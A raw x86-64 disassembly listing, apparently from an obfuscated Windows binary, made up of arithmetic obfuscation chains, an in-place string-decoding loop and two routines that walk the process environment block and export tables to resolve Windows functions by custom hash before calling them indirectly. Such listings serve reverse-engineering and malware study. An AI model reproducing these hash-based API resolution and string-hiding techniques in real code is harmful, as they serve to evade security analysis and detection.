add rdi, 0x1d9a45c
xor rdi, r8
xor rdi, qword [0x14035f060]
mov rax, r8
imul rax, qword [0x14035f070]
movabs rcx, 0xb9de928bc75e29d2
imul rax, rcx
not rax
and rdi, rax
ror rdi, 0x24
shr rdi, 8
movabs r9, 0xde64ef325f9464b9
lea rcx, [rbx + r9]
xor rcx, 0xfffffffff9d022df
mov rax, r10
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
movabs rax, 0xc3282fa77e8e6928
mov r11, qword [r13 + rcx*8]
imul r11, rax
add r11, rsi
movabs rcx, 0xaa49696d77c78518
mov rax, r8
imul rax, rcx
xor r11, rax
shr r11, 0x1f
not r11
mov r15, r11
xor r15, rbx
lea rcx, [r11 + r9]
mov rax, r10
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
movzx eax, r11b
movzx ecx, byte [r13 + rcx*8]
imul ecx, eax
movzx ecx, cl
xor ecx, 0xc3
and ecx, 0x8000003f
jge 0x140081a35
dec ecx
or ecx, 0xffffffc0
inc ecx
ror r15, cl
not r15
imul r15, r8
imul r13, r15, 0x1d9a45c
add r9, r13
mov r10, r11
imul r10, rdi
sub r10, r9
xor r10, r14
mov cl, r9b
xor cl, 0xfc
and cl, 0xf
rol r10, cl
mov rax, r9
sub rax, qword [0x14035f078]
xor r10, rax
movabs rax, 0x766b2b7c7c544984
imul r15, rax
movabs rax, 0x1a403f09eb890db1
sub r15, rax
xor r10, r15
xor r10, r8
xor r10, rbx
mov rax, r10
and eax, 3
je 0x140081dd4
sub rax, 1
je 0x140081ca3
sub rax, 1
je 0x140081bae
cmp rax, 1
jne 0x140081e84
mov r14, r9
imul r14, r11
movabs rax, 0xa4c4baf88c46e39b
add rax, r10
xor r14, rax
ror r14, 0x1c
shr r14, 0xc
xor r14, rbx
not r14
movabs rcx, 0x835725af27d8
mov rdx, qword [0x14035f088]
add rdx, rcx
movabs rax, 0xdee66a4a312063eb
xor rdx, rax
movzx eax, r10b
movzx ecx, r14b
imul ecx, eax
and cl, 0x3f
ror rdx, cl
shl rdx, 0xf
movabs rax, 0xf7ca7db97d4fcb2b
sub rax, r11
mov r11, rdx
xor r11, rax
mov rcx, r11
imul rcx, rsi
mov eax, 0xac9419c1
add rcx, rax
movabs r15, 0xaaaaaaaaaaaaaaab
mov rax, r15
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
lea r12, [0x14035f060]
mov cl, byte [r12 + rcx*8]
and cl, 0xf
movabs rsi, 0x31f2bbcc77aad7e0
sub rsi, r14
shr rsi, cl
movabs rcx, 0xde6d13babda4cdc7
add rcx, r13
mov rax, r15
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
mov rax, r10
imul rax, qword [r12 + rcx*8]
imul rax, r10
sub rax, rdi
xor rsi, rax
jmp 0x140081e84
movabs rax, 0xaaaaaa1aac8de4ff
mov rcx, r10
xor rcx, rax
movabs rax, 0x1206ed6e8038b3
imul rcx, rax
movabs rdx, 0xfff17ca87befd283
mov rax, r8
xor rax, rdx
sub rcx, rax
movabs rax, 0xffff7e8a8a9dd623
imul r13, rax
movabs r11, 0xcc03445b278f416e
add r11, rcx
add r11, r13
movabs rax, 0x277cd7be7e5d339f
mov rcx, r11
xor rcx, rax
movabs rax, 0xaaaaaaaaaaaaaaab
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
mov r9, r11
not r9
lea rax, [0x14035f060]
imul r9, qword [rax + rcx*8]
xor r9, 0xfffffffff9d8322f
lea ecx, [r10 - 3]
and cl, 0x3f
rol r9, cl
movabs rax, 0x3812208680000000
xor r12, rax
movabs rax, 0x7c7a7dc690df389e
and r12, rax
imul r9, r12
mov rcx, r9
ror rcx, 0x28
not rcx
movabs rax, 0x9b2de6b2c6c6c6e0
imul rcx, rax
mov rax, r11
sub rax, r9
lea rdx, [rcx + rax*4]
mov cl, dil
and cl, 0x3f
ror rdx, cl
mov rax, rsi
mov rsi, rdx
imul rsi, rax
jmp 0x140081e84
movabs rax, 0x66044ba99ddd4dc5
imul r10, rax
movabs rax, 0xd79435e50d79435f
mul r10
shr rdx, 4
movzx eax, dl
imul edx, eax, 0x13
mov cl, r10b
sub cl, dl
movabs rdx, 0xde64ef325f9464b8
mov rax, rbx
imul rax, rdx
xor rax, r14
not rax
shl rax, cl
xor r8, rax
mov cl, r9b
and cl, 0x3f
rol r8, cl
movabs rcx, 0xde64ef325f9464b9
add rcx, r10
movabs rax, 0xaaaaaaaaaaaaaaab
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
movabs rdx, 0x10cda06b9b47
lea rax, [0x14035f060]
mov rax, qword [rax + rcx*8]
imul rax, rdx
xor r8, rax
movabs rax, 0xffffc7a7f04992d2
or r8, rax
mov rsi, qword [0x14035f070]
imul rsi, r14
sub rsi, r9
mov rax, rdi
sub rax, r8
xor rsi, rax
movabs rax, 0xc7a7c6a6a14192df
xor rsi, rax
movabs rax, 0xcccccccccccccccd
mul rbx
shr rdx, 3
lea rax, [rdx + rdx*4]
add rax, rax
mov rcx, rbx
sub rcx, rax
or rcx, 1
xor edx, edx
mov rax, rsi
div rcx
mov rcx, rdx
mov rdx, r10
imul rdx, r9
imul rdx, rsi
shr rdx, cl
mov rax, r11
sub rax, rdx
sub rax, rbx
movabs rbx, 0x78958946e13dec5
add rbx, rax
xor rbx, rdi
movzx eax, r11b
imul ecx, eax, 0xfa
and cl, 0x3f
rol rbx, cl
not rbx
jmp 0x140081e84
movabs rax, 0xaaaaaaaaaaaaaaab
mul r8
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
mov rcx, r8
sub rcx, rax
mov rax, r10
imul rax, qword [0x14035f080]
lea rdx, [0x14035f060]
mov rdx, qword [rdx + rcx*8]
and rdx, rax
xor rdx, r8
and r8b, 0x3f
mov cl, r8b
mov r8, rdx
ror r8, cl
imul r8, r9
not rdi
imul rdi, r11
movabs rax, 0x7cd8a7de7cb0c33e
imul rdi, rax
mov rax, r8
imul rax, rbx
mov rbx, rdi
xor rbx, rax
imul rdi, qword [0x14035f060], 0x1d9a45c
mov rdx, qword [0x14035f068]
sub rdi, rdx
mov al, bl
not al
movzx ecx, al
movzx eax, dl
xor ecx, eax
and ecx, 0x8000003f
jge 0x140081e71
dec ecx
or ecx, 0xffffffc0
inc ecx
ror rdi, cl
movabs rax, 0xde64ef325f9464b9
add rdi, rax
add rdi, r13
movabs rax, 0xff055d7b8cfbc9f3
xor r14, rax
movabs rax, 0xaaaaaaaaaaaaaaab
mul r14
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub r14, rax
xor r8, rbx
lea rax, [0x14035f060]
imul r8, qword [rax + r14*8]
not r9
imul r9, r10
imul r9, rdi
imul r9, rsi
movabs rcx, 0xf5ed7e878b48832f
xor rcx, r11
not rcx
xor rcx, r9
sub rcx, r8
call fcn.14006e180
mov qword [0x14036d9f0], rax
movabs rdi, 0x3d21d0c0ed60c81f
movabs rax, 0x6e45991eecd51000
movabs r14, 0xfd5ec437aa107c8f
mov rbx, qword [0x14035f068]
imul rbx, rax
movabs rax, 0x8a9dcda954df1000
xor rbx, rax
mov r13, rbx
imul r13, rdi
movabs r9, 0xaaaaaaaaaaaaaaab
mov rax, r9
mul r13
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
mov rcx, r13
sub rcx, rax
mov r8, rbx
and r8, rdi
lea r10, [0x14035f060]
imul r8, qword [r10 + rcx*8]
movabs rax, 0x1b11d16dcb34ee6e
imul r8, rax
shr r8, 3
movabs rax, 0xe8f355250111e58e
xor r8, rax
movabs rax, 0xffffff57cef93cdd
mov rsi, rbx
imul rsi, rax
sub rsi, 0xe74024e
xor rsi, r8
xor rsi, qword [0x14035f060]
mov rax, r8
imul rax, qword [0x14035f070]
movabs rcx, 0xb9de928bc74a83fc
imul rax, rcx
not rax
and rsi, rax
ror rsi, 0x12
shr rsi, 8
movabs r12, 0xc2de2f3f129f37e1
lea rcx, [rbx + r12]
xor rcx, 0xfffffffff9c488f1
mov rax, r9
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
movabs rax, 0x653be7702875fa98
mov r11, qword [r10 + rcx*8]
imul r11, rax
add r11, rdi
movabs rcx, 0xa05b916647bb3544
mov rax, r8
imul rax, rcx
xor r11, rax
shr r11, 0x1f
not r11
mov r15, r11
xor r15, rbx
lea rcx, [r11 + r12]
mov rax, r9
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
movzx eax, r11b
movzx ecx, byte [r10 + rcx*8]
imul ecx, eax
movzx ecx, cl
xor ecx, 0xed
mov eax, 0x8000003f
and ecx, eax
jge 0x140082060
dec ecx
or ecx, 0xffffffc0
inc ecx
ror r15, cl
not r15
imul r15, r8
imul rdx, r15, 0xfffffffff18bfdb2
mov qword [rbp + 0x210], rdx
lea r9, [rdx + r12]
mov r10, r11
imul r10, rsi
sub r10, r9
xor r10, r14
movzx r12d, r9b
mov ecx, r12d
xor ecx, 2
and ecx, 0xf
and ecx, eax
jge 0x1400820a1
dec ecx
or ecx, 0xffffffc0
inc ecx
rol r10, cl
movabs rax, 0xf7aa08908ae6c88e
imul r15, rax
movabs rax, 0x6f871a5fe64f8c3f
add r15, rax
xor r10, r15
mov rax, r9
sub rax, qword [0x14035f078]
xor r10, rax
xor r10, r8
xor r10, rbx
mov rax, r10
xor rax, 0xfffffffffffffffe
and eax, 3
je 0x140082434
sub rax, 1
je 0x1400822f0
sub rax, 1
je 0x1400821fb
cmp rax, 1
jne 0x1400824e9
mov r14, r9
imul r14, r11
movabs rax, 0xac4e2436bde41f3d
add rax, r10
xor r14, rax
ror r14, 0x2a
shr r14, 0xc
xor r14, rbx
not r14
movabs rcx, 0x835725bb8dfa
mov rdx, qword [0x14035f088]
add rdx, rcx
movabs rax, 0xc25caa477c3f9a9d
xor rdx, rax
movzx eax, r14b
movzx ecx, r10b
imul ecx, eax
and cl, 0x3f
ror rdx, cl
shl rdx, 0xf
movabs rax, 0xf7ca7db97d5b6105
sub rax, r11
mov r11, rdx
xor r11, rax
mov rcx, r11
imul rcx, rdi
mov eax, 0xac80b3ef
add rcx, rax
movabs r15, 0xaaaaaaaaaaaaaaab
mov rax, r15
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
lea r12, [0x14035f060]
mov cl, byte [r12 + rcx*8]
and cl, 0xf
movabs rdi, 0x5840222b3f87e698
sub rdi, r14
shr rdi, cl
movabs rax, 0xc2e653c770a3fb05
mov rcx, qword [rbp + 0x210]
add rcx, rax
mov rax, r15
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
mov rax, r10
imul rax, qword [r12 + rcx*8]
imul rax, r10
sub rax, rsi
xor rdi, rax
jmp 0x1400824e9
movabs rax, 0xaaaaaa1aac994ed1
mov rcx, r10
xor rcx, rax
movabs rax, 0x1206ed6e94929d
imul rcx, rax
movabs r9, 0xfff17ca87bfb78ad
mov rax, r8
xor rax, r9
sub rcx, rax
movabs rax, 0xffff7e8a8a897c0d
imul rdx, rax
movabs r11, 0xfc691a61cd194e7a
add r11, rcx
add r11, rdx
movabs rax, 0x277cd7be7e4999b1
mov rcx, r11
xor rcx, rax
movabs rax, 0xaaaaaaaaaaaaaaab
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
mov r9, r11
not r9
lea rax, [0x14035f060]
imul r9, qword [rax + rcx*8]
xor r9, 0xfffffffff9cc9801
lea ecx, [r10 + 0x13]
and cl, 0x3f
rol r9, cl
movabs rax, 0x838704600000000
xor r13, rax
movabs rax, 0x7c7a7dc690cb92b0
and r13, rax
imul r9, r13
mov rcx, r9
ror rcx, 3
not rcx
movabs rax, 0x9b2de6b2c6946e58
imul rcx, rax
mov rax, r11
sub rax, r9
lea rdx, [rcx + rax*4]
mov cl, sil
and cl, 0x3f
ror rdx, cl
mov rax, rdi
mov rdi, rdx
imul rdi, rax
jmp 0x1400824e9
movabs rax, 0x5ddec34ccaec36d1
imul r10, rax
movabs rax, 0xd79435e50d79435f
mul r10
shr rdx, 4
movzx eax, dl
imul edx, eax, 0x13
mov cl, r10b
sub cl, dl
movabs rdx, 0xc2de2f3f129f37e0
mov rax, rbx
imul rax, rdx
xor rax, r14
not rax
shl rax, cl
xor r8, rax
and r12d, 0x8000003f
jge 0x14008234a
dec r12d
or r12d, 0xffffffc0
inc r12d
mov cl, r12b
rol r8, cl
movabs rcx, 0xc2de2f3f129f37e1
add rcx, r10
movabs rax, 0xaaaaaaaaaaaaaaab
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
movabs rdx, 0x10c0ed60c81f
lea rax, [0x14035f060]
mov rax, qword [rax + rcx*8]
imul rax, rdx
xor r8, rax
movabs rax, 0xffffc7a7f05d38fc
or r8, rax
mov rdi, qword [0x14035f070]
imul rdi, r14
sub rdi, r9
mov rax, rsi
sub rax, r8
xor rdi, rax
movabs rax, 0xc7a7c6a6a15538f1
xor rdi, rax
movabs rax, 0xcccccccccccccccd
mul rbx
shr rdx, 3
lea rax, [rdx + rdx*4]
add rax, rax
mov rcx, rbx
sub rcx, rax
or rcx, 1
xor edx, edx
mov rax, rdi
div rcx
mov rcx, rdx
mov rdx, r10
imul rdx, r9
imul rdx, rdi
shr rdx, cl
mov rax, r11
sub rax, rdx
sub rax, rbx
movabs rbx, 0x78958946e0774eb
add rbx, rax
xor rbx, rsi
mov al, r11b
shl al, 2
lea ecx, [rax + r11]
shl cl, 2
and cl, 0x3f
rol rbx, cl
not rbx
jmp 0x1400824e9
movabs rax, 0xaaaaaaaaaaaaaaab
mul r8
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
mov rcx, r8
sub rcx, rax
mov rax, r10
imul rax, qword [0x14035f080]
lea rdx, [0x14035f060]
mov rdx, qword [rdx + rcx*8]
and rdx, rax
xor rdx, r8
and r8b, 0x3f
mov cl, r8b
mov r8, rdx
ror r8, cl
imul r8, r9
not rsi
imul rsi, r11
movabs rax, 0x7cd8a7de7ca46910
imul rsi, rax
mov rax, r8
imul rax, rbx
mov rbx, rsi
xor rbx, rax
imul rdx, qword [0x14035f060], 0xfffffffff18bfdb2
mov rsi, qword [0x14035f068]
sub rdx, rsi
mov al, bl
not al
movzx ecx, al
movzx eax, sil
xor ecx, eax
and ecx, 0x8000003f
jge 0x1400824d2
dec ecx
or ecx, 0xffffffc0
inc ecx
ror rdx, cl
movabs rsi, 0xc2de2f3f129f37e1
add rsi, rdx
add rsi, qword [rbp + 0x210]
movabs rax, 0xff055d7b8cef63dd
xor r14, rax
movabs rax, 0xaaaaaaaaaaaaaaab
mul r14
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub r14, rax
xor r8, rbx
lea rax, [0x14035f060]
imul r8, qword [rax + r14*8]
not r9
imul r9, r10
imul r9, rsi
imul r9, rdi
movabs rcx, 0xf5ed7e878b5c2901
xor rcx, r11
not rcx
xor rcx, r9
sub rcx, r8
call fcn.14006ddb4
mov qword [0x14036d9b8], rax
xor eax, eax
mov byte [rbp + 0x210], al
lea rdx, [rbp + 0x108]
lea rcx, [rbp + 0x210]
call fcn.14006e9cc
mov r13, rax
xor r12d, r12d
xor edx, edx
mov rax, r12
movabs rcx, 0x13cce94adba2b9c0
div rcx
lea r14d, [rdx + 0x39]
movzx r15d, r14w
ror r15w, 8
movzx esi, r15w
shr si, 0xa
movzx eax, r15w
shl ax, 6
or si, ax
movzx edi, si
ror di, 8
movzx r9d, r15w
shr r9w, 0xd
movzx eax, r15w
shl ax, 3
or r9w, ax
movzx edx, r15w
shl dx, 0xd
movzx eax, r15w
shr ax, 3
or dx, ax
movzx r11d, dx
ror r11w, 8
movzx r8d, r15w
shr r8w, 0xc
movzx eax, r15w
shl ax, 4
or r8w, ax
movzx ebx, r15w
not bx
movzx ecx, r15w
ror cx, 1
movzx r10d, word [r13 + r12*2]
sub r10w, si
mov eax, 0x6afe
add r10w, ax
mov eax, 0x9204
sub ax, si
xor r10w, ax
sub r10w, word [0x14035f050]
sub r10w, word [0x14035f058]
add r10w, di
add r10w, r15w
sub r10w, cx
mov eax, 0x6fc1
add r10w, ax
lea eax, [r15 + rsi]
mov ecx, 0x2d07
add ax, cx
xor r10w, ax
sub r10w, dx
sub r10w, r9w
sub r10w, r15w
sub r10w, word [0x14035f048]
sub r10w, 0x50
add r10w, r11w
mov rcx, qword [0x14035f040]
add r10w, si
add r10w, cx
movzx eax, r8w
sub ax, r9w
add ax, si
add ax, r15w
xor r10w, ax
movzx eax, r15w
sub ax, r8w
xor ax, r15w
sub r10w, ax
sub r10w, r11w
add r10w, r15w
mov eax, 0x4230
add r10w, ax
movzx eax, r15w
ror ax, 7
mov edx, 0x4050
sub r11w, dx
add ax, r11w
xor r10w, ax
movzx edx, r15w
xor dx, word [0x14035f030]
sub dx, r10w
movzx eax, bx
xor ax, word [0x14035f038]
sub dx, ax
mov eax, 0x7100
add eax, r15d
mov r8d, 0x2440
xor ax, r8w
sub dx, ax
mov eax, 0x9d7
add eax, r15d
add ax, ax
add dx, ax
sub dx, r14w
sub dx, di
sub dx, si
sub dx, cx
movzx eax, r15w
movzx ecx, bx
imul ecx, eax
xor cx, dx
mov word [r13 + r12*2], cx
inc r12
cmp r12, 0x23
jb 0x140082572
mov qword [rbp + 0x28], r13
mov qword [rbp + 0x30], 0x46
lea r8, [rbp + 0x98]
mov rdx, qword [rbp + 0x28]
lea rcx, [rbp + 0x38]
call fcn.14006d248
nop
mov rcx, qword [rbp + 0x28]
xor r13d, r13d
test rcx, rcx
je 0x140082781
mov eax, r13d
cmp qword [rbp + 0x30], r13
jbe 0x140082781
mov byte [rcx + rax], r13b
inc rax
cmp rax, qword [rbp + 0x30]
jae 0x140082781
mov rcx, qword [rbp + 0x28]
jmp 0x14008276e
mov ebx, r13d
mov edi, 0x9ae22ff6
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
movups xmm0, xmmword [rax + 0x58]
movd ecx, xmm0
sub cx, 8
test ebx, ebx
je 0x1400827f4
psrldq xmm0, 8
movq r8, xmm0
movzx ecx, cx
shr rcx, 1
lea r10, [r8 + rcx*2]
mov r9d, 0xe7b8c6be
jmp 0x1400827e6
movsx edx, byte [r8]
mov ecx, edx
imul ecx, edx
add ecx, 0x31
xor ecx, 0x4764996c
xor edx, r9d
mov r9d, ecx
imul r9d, edx
add r8, 2
cmp r8, r10
jne 0x1400827c6
cmp r9d, ebx
jne 0x1400828fd
mov r9, qword [rax + 0x30]
movsxd rcx, dword [r9 + 0x3c]
mov rcx, qword [rcx + r9 + 0x88]
mov r11d, ecx
add r11, r9
shr rcx, 0x20
cmp r11, r9
je 0x1400828fd
mov esi, dword [r11 + 0x18]
test esi, esi
je 0x1400828fd
mov r12d, dword [r11 + 0x20]
dec esi
lea rdx, [r12 + rsi*4]
mov r10d, dword [rdx + r9]
add r10, r9
mov r14d, 0xe7b8c6be
jmp 0x14008285a
movsx r8d, dl
mov edx, r8d
imul edx, r8d
add edx, 0x31
xor edx, 0x4764996c
xor r8d, r14d
mov r14d, edx
imul r14d, r8d
mov dl, byte [r10]
inc r10
test dl, dl
jne 0x14008283c
cmp r14d, edi
je 0x140082872
test esi, esi
jne 0x140082827
jmp 0x1400828fd
mov edx, dword [r11 + 0x1c]
add rdx, r9
mov eax, dword [r11 + 0x24]
add rax, r9
movzx eax, word [rax + rsi*2]
mov r10d, dword [rdx + rax*4]
add r10, r9
cmp r10, r11
jbe 0x140082905
lea rax, [rcx + r11]
cmp r10, rax
jae 0x140082905
mov ebx, 0xe7b8c6be
mov edi, ebx
jmp 0x1400828bf
movsx ecx, al
mov edx, ecx
imul edx, ecx
add edx, 0x31
xor edx, 0x4764996c
mov eax, ebx
xor eax, ecx
mov ebx, edx
imul ebx, eax
inc r10
mov al, byte [r10]
cmp al, 0x2e
jne 0x1400828a2
jmp 0x1400828e2
movsx ecx, al
mov edx, ecx
imul edx, ecx
add edx, 0x31
xor edx, 0x4764996c
mov eax, edi
xor eax, ecx
mov edi, edx
imul edi, eax
inc r10
mov al, byte [r10]
test al, al
jne 0x1400828c8
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov rax, qword [rax]
jmp 0x14008279a
lea rdx, [rbp + 0x38]
cmp qword [rbp + 0x50], 7
cmova rdx, qword [rbp + 0x38]
mov qword [rbp - 0x40], r13
movabs rax, 0x70d1551729506f1a
mov qword [rbp - 0x40], rax
movabs rcx, 0xf33a52b476087d83
add rcx, qword [rbp - 0x40]
movabs rax, 0xa2d536625308080d
xor rcx, rax
sub rcx, qword [0x14035f050]
sub rcx, qword [0x14035f058]
movabs rax, 0x7120fb80ab385789
add rcx, rax
movabs rax, 0xf8f8cd9a09b9fa37
xor rcx, rax
sub rcx, qword [0x14035f048]
movabs rax, 0x87d654bbb2480a8e
add rcx, rax
add rcx, qword [0x14035f040]
movabs rax, 0x5a9179aa295ecadf
xor rcx, rax
movabs rax, 0x5f627dc7664210ba
sub rcx, rax
movabs rax, 0xf23b3cd32646062c
xor rcx, rax
movabs r8, 0xb483ce4645f6124f
add r8, rcx
add r8, qword [0x14035f040]
not r8
movabs rcx, 0x13cce94ad1d8204a
mov rax, qword [0x14035f038]
xor rax, rcx
sub r8, rax
movabs rax, 0xec3316b52e27dfb5
mov rcx, qword [0x14035f030]
xor rcx, rax
movabs rax, 0xe0b56d8771ced51f
add rax, r8
add rcx, rax
movabs rax, 0x12871cbdd9354a52
xor rcx, rax
mov qword [rbp - 0x40], rcx
lea r8, [rbp + 0x70]
call r10
movsxd rsi, eax
mov qword [rbp - 0x40], r13
mov dword [rsp + 0x34], r13d
mov dword [rsp + 0x34], 0xfeb16038
mov eax, dword [rsp + 0x34]
add eax, 0x7b50da27
xor eax, 0x6f7c0d55
sub eax, dword [0x14035f058]
sub eax, dword [0x14035f050]
add eax, 0x4f287e73
xor eax, 0x345c7c21
sub eax, dword [0x14035f048]
mov rcx, qword [0x14035f040]
add eax, 0x351c50cd
add eax, ecx
xor eax, 0xd3584135
add eax, 0xee6d3bb
xor eax, 0x4001ad97
lea edx, [rcx + 0x6cd2b032]
add edx, eax
not edx
mov eax, dword [0x14035f038]
xor eax, 0xa1ed41bc
sub edx, eax
mov ecx, dword [0x14035f030]
xor ecx, 0x5e12be43
add ecx, 0x36c7b19f
add ecx, edx
xor ecx, 0x1f19bc34
mov dword [rsp + 0x34], ecx
mov dword [rsp + 0x34], r13d
cmp esi, ecx
je 0x140082cce
mov qword [rbp - 0x30], r13
movabs rax, 0x5212fc29552f8625
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x38], r13
movabs rax, 0x76cbd355e822a636
mov qword [rbp - 0x38], rax
movabs rcx, 0xf33a52b77fc59d03
add rcx, qword [rbp - 0x38]
movabs rax, 0xc2553662530b11ca
xor rcx, rax
sub rcx, qword [0x14035f050]
sub rcx, qword [0x14035f058]
movabs rax, 0xedf047f5de4dfd6
sub rcx, rax
movabs rax, 0xf8f8cd96f3d5e639
xor rcx, rax
sub rcx, qword [0x14035f048]
movabs rax, 0x47d654b7928fd24c
add rcx, rax
mov rdi, qword [0x14035f040]
add rcx, rdi
movabs rax, 0x5a9179a6b24312f1
xor rcx, rax
movabs rax, 0x5f627dc4abef1624
sub rcx, rax
movabs rax, 0xf63b3cd1a14f2883
xor rcx, rax
movabs rdx, 0x3483ce43517d1eab
add rdx, rcx
add rdx, rdi
not rdx
movabs rcx, 0x13cce94addff14c8
mov r10, qword [0x14035f038]
mov rax, r10
xor rax, rcx
sub rdx, rax
movabs rax, 0xec3316b52200eb37
mov r11, qword [0x14035f030]
mov rcx, r11
xor rcx, rax
movabs rax, 0xe0b56d9384ac4f9d
add rdx, rax
add rdx, rcx
movabs rax, 0xb1a49b0969e10ef8
xor rdx, rax
mov qword [rbp - 0x38], rdx
movabs rcx, 0xf33a52b176588083
add rcx, qword [rbp - 0x30]
movabs rax, 0xa5d536625305085d
xor rcx, rax
sub rcx, qword [0x14035f050]
sub rcx, qword [0x14035f058]
movabs rax, 0x7120fb80b4376780
add rcx, rax
movabs rax, 0xf8f8cd9d1568b72b
xor rcx, rax
sub rcx, qword [0x14035f048]
movabs rax, 0x7d654bfc45b6e7b
add rcx, rax
add rcx, rdi
movabs rax, 0x5a9179ad95038773
xor rcx, rax
movabs rax, 0x5f627dc622274e06
sub rcx, rax
movabs rax, 0xda3b3cd4a636022c
xor rcx, rax
movabs rax, 0xb483ce4930a83f64
add rcx, rax
add rcx, rdi
not rcx
movabs rax, 0x13cce94ac5d96056
xor r10, rax
sub rcx, r10
movabs rax, 0xec3316b53a269fa9
xor r11, rax
movabs rax, 0xe0b56d7b8712212b
add rcx, rax
add rcx, r11
movabs rax, 0xf3329224681a02c6
xor rcx, rax
mov qword [rbp - 0x30], rcx
and rcx, rdx
mov rax, rsi
mov qword [rbp - 0x38], r13
mov qword [rbp - 0x30], r13
cmp rsi, rcx
jne 0x140082cb4
mov rbx, qword [rsp + 0x48]
add rbx, rax
jmp 0x140084609
mov dword [0x14037daa8], esi
lea rcx, [rbp + 0x38]
call fcn.1400538a4
nop
mov rbx, qword [rsp + 0x48]
jmp 0x140084613
mov edi, r13d
mov esi, 0x7cde9fda
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
movups xmm0, xmmword [rax + 0x58]
movd ecx, xmm0
sub cx, 8
test edi, edi
je 0x140082d47
psrldq xmm0, 8
movq r9, xmm0
movzx ecx, cx
shr rcx, 1
lea r11, [r9 + rcx*2]
mov r10d, 0x47c4e906
jmp 0x140082d39
movsx edx, byte [r9]
mov r8d, edx
imul r8d, edx
add r8d, 0x31
xor r8d, 0x4764996c
mov ecx, r10d
xor ecx, edx
mov r10d, r8d
imul r10d, ecx
add r9, 2
cmp r9, r11
jne 0x140082d13
cmp r10d, edi
jne 0x140082e60
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov rcx, qword [rcx + r10 + 0x88]
mov ebx, ecx
add rbx, r10
shr rcx, 0x20
cmp rbx, r10
je 0x140082e60
mov r14d, dword [rbx + 0x18]
test r14d, r14d
je 0x140082e60
mov r13d, dword [rbx + 0x20]
dec r14d
lea rdx, [r14*4]
add rdx, r13
mov r11d, dword [rdx + r10]
add r11, r10
mov r15d, 0x47c4e906
jmp 0x140082dba
movsx r8d, dl
mov r9d, r8d
imul r9d, r8d
add r9d, 0x31
xor r9d, 0x4764996c
mov edx, r15d
xor edx, r8d
mov r15d, r9d
imul r15d, edx
mov dl, byte [r11]
inc r11
test dl, dl
jne 0x140082d97
cmp r15d, esi
je 0x140082dd6
test r14d, r14d
jne 0x140082d7a
xor r13d, r13d
jmp 0x140082e60
mov edx, dword [rbx + 0x1c]
add rdx, r10
mov eax, dword [rbx + 0x24]
add rax, r10
movzx eax, word [rax + r14*2]
mov r8d, dword [rdx + rax*4]
add r8, r10
cmp r8, rbx
jbe 0x140082e68
lea rax, [rbx + rcx]
cmp r8, rax
jae 0x140082e68
mov edi, 0x47c4e906
mov esi, edi
jmp 0x140082e1f
movsx ecx, al
mov eax, ecx
imul eax, ecx
add eax, 0x31
xor eax, 0x4764996c
xor ecx, edi
mov edi, eax
imul edi, ecx
inc r8
mov al, byte [r8]
cmp al, 0x2e
jne 0x140082e05
inc r8
xor r13d, r13d
jmp 0x140082e48
movsx ecx, al
mov eax, ecx
imul eax, ecx
add eax, 0x31
xor eax, 0x4764996c
xor ecx, esi
mov esi, eax
imul esi, ecx
inc r8
mov al, byte [r8]
test al, al
jne 0x140082e2e
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov rax, qword [rax]
jmp 0x140082ce7
mov rcx, qword [rbp + 0x70]
call r8
movabs rsi, 0xf4f5f294ff4d5239
movabs rax, 0xb28e800000000000
movabs r14, 0xa514481148a8d028
mov rbx, qword [0x14035f070]
imul rbx, rax
movabs rax, 0xd099f00000000000
xor rbx, rax
mov r12, rbx
imul r12, rsi
movabs r10, 0xaaaaaaaaaaaaaaab
mov rax, r10
mul r12
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
mov rcx, r12
sub rcx, rax
mov r8, rbx
and r8, rsi
lea r13, [0x14035f060]
imul r8, qword [r13 + rcx*8]
movabs rax, 0xb63b9d7c94f2a460
imul r8, rax
shr r8, 3
movabs rax, 0x5f3052fe5df1cfb1
xor r8, rax
movabs rax, 0xffffff57c29178b3
mov rdi, rbx
imul rdi, rax
sub rdi, 0xbe1b3e4
xor rdi, r8
xor rdi, qword [0x14035f060]
mov rax, r8
imul rax, qword [0x14035f070]
movabs rcx, 0xb9de928bcb22c792
imul rax, rcx
not rax
and rdi, rax
ror rdi, 0x1a
shr rdi, 8
movabs r9, 0xb0a0d6b00b2adc7
lea rcx, [rbx + r9]
xor rcx, 0xfffffffff5accc9f
mov rax, r10
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
movabs rax, 0x678c708fd5ae7aa8
mov r11, qword [r13 + rcx*8]
imul r11, rax
sub r11, r9
movabs rcx, 0x474af976d12ca3a0
mov rax, r8
imul rax, rcx
xor r11, rax
shr r11, 0x1f
not r11
mov r15, r11
xor r15, rbx
lea rcx, [r11 + r9]
mov rax, r10
mul rcx
shr rdx, 2
